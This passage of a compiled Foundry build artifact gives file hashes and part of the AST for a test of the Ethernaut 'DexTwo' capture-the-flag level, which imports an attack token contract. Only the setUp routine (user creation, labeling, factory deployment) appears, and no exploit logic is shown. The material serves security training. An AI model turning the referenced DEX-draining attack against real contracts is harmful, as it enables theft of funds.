611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/DexTwoAttack.sol":{"keccak256":"0xe2b623bb8e68b6126dbc58a4e885b4f21bb16d2660ecf9d1dbb054067612292a","urls":["bzz-raw://fdf09c56d64e6e9cb42cd7d8df87330322852bbef5fd72b6d3c78d412cd76ba6","dweb:/ipfs/QmZWgP8p9ZR5JV1iracwEXeuTUFH7gWg9Ak3EB9mzNEDVn"],"license":"UNLICENSED"},"src/levels/DexTwo.sol":{"keccak256":"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e","urls":["bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38","dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7"],"license":"MIT"},"src/levels/DexTwoFactory.sol":{"keccak256":"0x17566ec4d83b157112eaf5b6e49b4374c40fefc4c137e75cefdd4e3e31d6dd58","urls":["bzz-raw://971db3d42d4bea4b1c9806bc858569c20efe766146cf064cb7e9326d134ea905","dweb:/ipfs/QmagNdS96XfdYh2oJD1jkoFgzo3GERZzLSbuaM5FXnPfdP"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/DexTwo.t.sol":{"keccak256":"0x87d386b09123e1d9b639a28c1d4ce592cbe5effa734ced28483d28c3abc0b068","urls":["bzz-raw://6c6226c333a37b600829013b5857acaf3b3a5d7e2539a60e2678b1970280c344","dweb:/ipfs/QmXKJ6deWKeXApPHqPwoZqMEjHNhfMtKrMfor6VyL4anZY"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/DexTwo.t.sol","id":60230,"exportedSymbols":{"DexTwo":[51225],"DexTwoAttackToken":[49275],"DexTwoFactory":[51447],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"SwappableTokenTwo":[51281],"Test":[12027],"TestBase":[65],"TestDexTwo":[60229],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2206:126","nodes":[{"id":60002,"nodeType":"PragmaDirective","src":"32:23:126","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":60003,"nodeType":"ImportDirective","src":"57:28:126","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":60230,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":60005,"nodeType":"ImportDirective","src":"86:43:126","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":60230,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":60004,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:126","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60008,"nodeType":"ImportDirective","src":"131:64:126","nodes":[],"absolutePath":"src/levels/DexTwo.sol","file":"src/levels/DexTwo.sol","nameLocation":"-1:-1:-1","scope":60230,"sourceUnit":51282,"symbolAliases":[{"foreign":{"id":60006,"name":"DexTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51225,"src":"139:6:126","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":60007,"name":"SwappableTokenTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51281,"src":"147:17:126","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60010,"nodeType":"ImportDirective","src":"196:59:126","nodes":[],"absolutePath":"src/levels/DexTwoFactory.sol","file":"src/levels/DexTwoFactory.sol","nameLocation":"-1:-1:-1","scope":60230,"sourceUnit":51448,"symbolAliases":[{"foreign":{"id":60009,"name":"DexTwoFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51447,"src":"204:13:126","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60012,"nodeType":"ImportDirective","src":"256:63:126","nodes":[],"absolutePath":"src/attacks/DexTwoAttack.sol","file":"src/attacks/DexTwoAttack.sol","nameLocation":"-1:-1:-1","scope":60230,"sourceUnit":49276,"symbolAliases":[{"foreign":{"id":60011,"name":"DexTwoAttackToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49275,"src":"264:17:126","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60014,"nodeType":"ImportDirective","src":"320:48:126","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":60230,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":60013,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"328:5:126","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60016,"nodeType":"ImportDirective","src":"369:44:126","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":60230,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":60015,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"377:9:126","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60229,"nodeType":"ContractDefinition","src":"415:1822:126","nodes":[{"id":60023,"nodeType":"VariableDeclaration","src":"456:19:126","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"466:9:126","scope":60229,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":60022,"nodeType":"UserDefinedTypeName","pathNode":{"id":60021,"name":"Ethernaut","nameLocations":["456:9:126"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"456:9:126"},"referencedDeclaration":49101,"src":"456:9:126","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":60026,"nodeType":"VariableDeclaration","src":"481:15:126","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"488:8:126","scope":60229,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"},"typeName":{"id":60025,"nodeType":"UserDefinedTypeName","pathNode":{"id":60024,"name":"DexTwo","nameLocations":["481:6:126"],"nodeType":"IdentifierPath","referencedDeclaration":51225,"src":"481:6:126"},"referencedDeclaration":51225,"src":"481:6:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"visibility":"internal"},{"id":60028,"nodeType":"VariableDeclaration","src":"503:21:126","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"519:5:126","scope":60229,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60027,"name":"address","nodeType":"ElementaryTypeName","src":"503:15:126","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60030,"nodeType":"VariableDeclaration","src":"530:22:126","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"546:6:126","scope":60229,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60029,"name":"address","nodeType":"ElementaryTypeName","src":"530:15:126","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60132,"nodeType":"FunctionDefinition","src":"739:586:126","nodes":[],"body":{"id":60131,"nodeType":"Block","src":"763:562:126","nodes":[],"statements":[{"assignments":[60035],"declarations":[{"constant":false,"id":60035,"mutability":"mutable","name":"users","nameLocation":"798:5:126","nodeType":"VariableDeclaration","scope":60131,"src":"773:30:126","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":60033,"name":"address","nodeType":"ElementaryTypeName","src":"773:15:126","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60034,"nodeType":"ArrayTypeName","src":"773:17:126","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":60039,"initialValue":{"arguments":[{"hexValue":"32","id":60037,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"818:1:126","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":60036,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"806:11:126","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":60038,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"806:14:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"773:47:126"},{"expression":{"id":60044,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60040,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60028,"src":"831:5:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60041,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60035,"src":"839:5:126","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60043,"indexExpression":{"hexValue":"30","id":60042,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"845:1:126","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"839:8:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"831:16:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60045,"nodeType":"ExpressionStatement","src":"831:16:126"},{"expression":{"arguments":[{"id":60049,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60028,"src":"866:5:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":60050,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"873:7:126","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":60046,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"857:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60048,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"860:5:126","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"857:8:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"857:24:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60052,"nodeType":"ExpressionStatement","src":"857:24:126"},{"expression":{"id":60057,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60053,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60030,"src":"892:6:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60054,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60035,"src":"901:5:126","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60056,"indexExpression":{"hexValue":"31","id":60055,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"907:1:126","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"901:8:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"892:17:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60058,"nodeType":"ExpressionStatement","src":"892:17:126"},{"expression":{"arguments":[{"id":60062,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60030,"src":"928:6:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":60063,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"936:8:126","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":60059,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"919:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60061,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"922:5:126","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"919:8:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60064,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"919:26:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60065,"nodeType":"ExpressionStatement","src":"919:26:126"},{"expression":{"arguments":[{"id":60069,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60028,"src":"970:5:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60066,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"956:2:126","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60068,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"959:10:126","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"956:13:126","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"956:20:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60071,"nodeType":"ExpressionStatement","src":"956:20:126"},{"expression":{"id":60076,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60072,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60023,"src":"986:9:126","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":60074,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60028,"src":"1025:5:126","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60073,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"998:26:126","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":60075,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"998:33:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"986:45:126","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60077,"nodeType":"ExpressionStatement","src":"986:45:126"},{"assignments":[60080],"declarations":[{"constant":false,"id":60080,"mutability":"mutable","name":"factory","nameLocation":"1055:7:126","nodeType":"VariableDeclaration","scope":60131,"src":"1041:21:126","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract DexTwoFactory"},"typeName":{"id":60079,"nodeType":"UserDefinedTypeName","pathNode":{"id":60078,"name":"DexTwoFactory","nameLocations":["1041:13:126"],"nodeType":"IdentifierPath","referencedDeclaration":51447,"src":"1041:13:126"},"referencedDeclaration":51447,"src":"1041:13:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract DexTwoFactory"}},"visibility":"internal"}],"id":60085,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":60083,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1065:17:126","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DexTwoFactory_$51447_$","typeString":"function () returns (contract DexTwoFactory)"},"typeName":{"id":60082,"nodeType":"UserDefinedTypeName","pathNode":{"id":60081,"name":"DexTwoFactory","nameLocations":["1069:13:126"],"nodeType":"IdentifierPath","referencedDeclaration":51447,"src":"1069:13:126"},"referencedDeclaration":51447,"src":"1069:13:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract DexTwoFactory"}}},"id":60084,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1065:19:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract DexTwoFactory"}},"nodeType":"VariableDeclarationStatement","src":"1041:43:126"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":60092,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60080,"src":"1132:7:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwoFactory_$51447","typeString":"contract 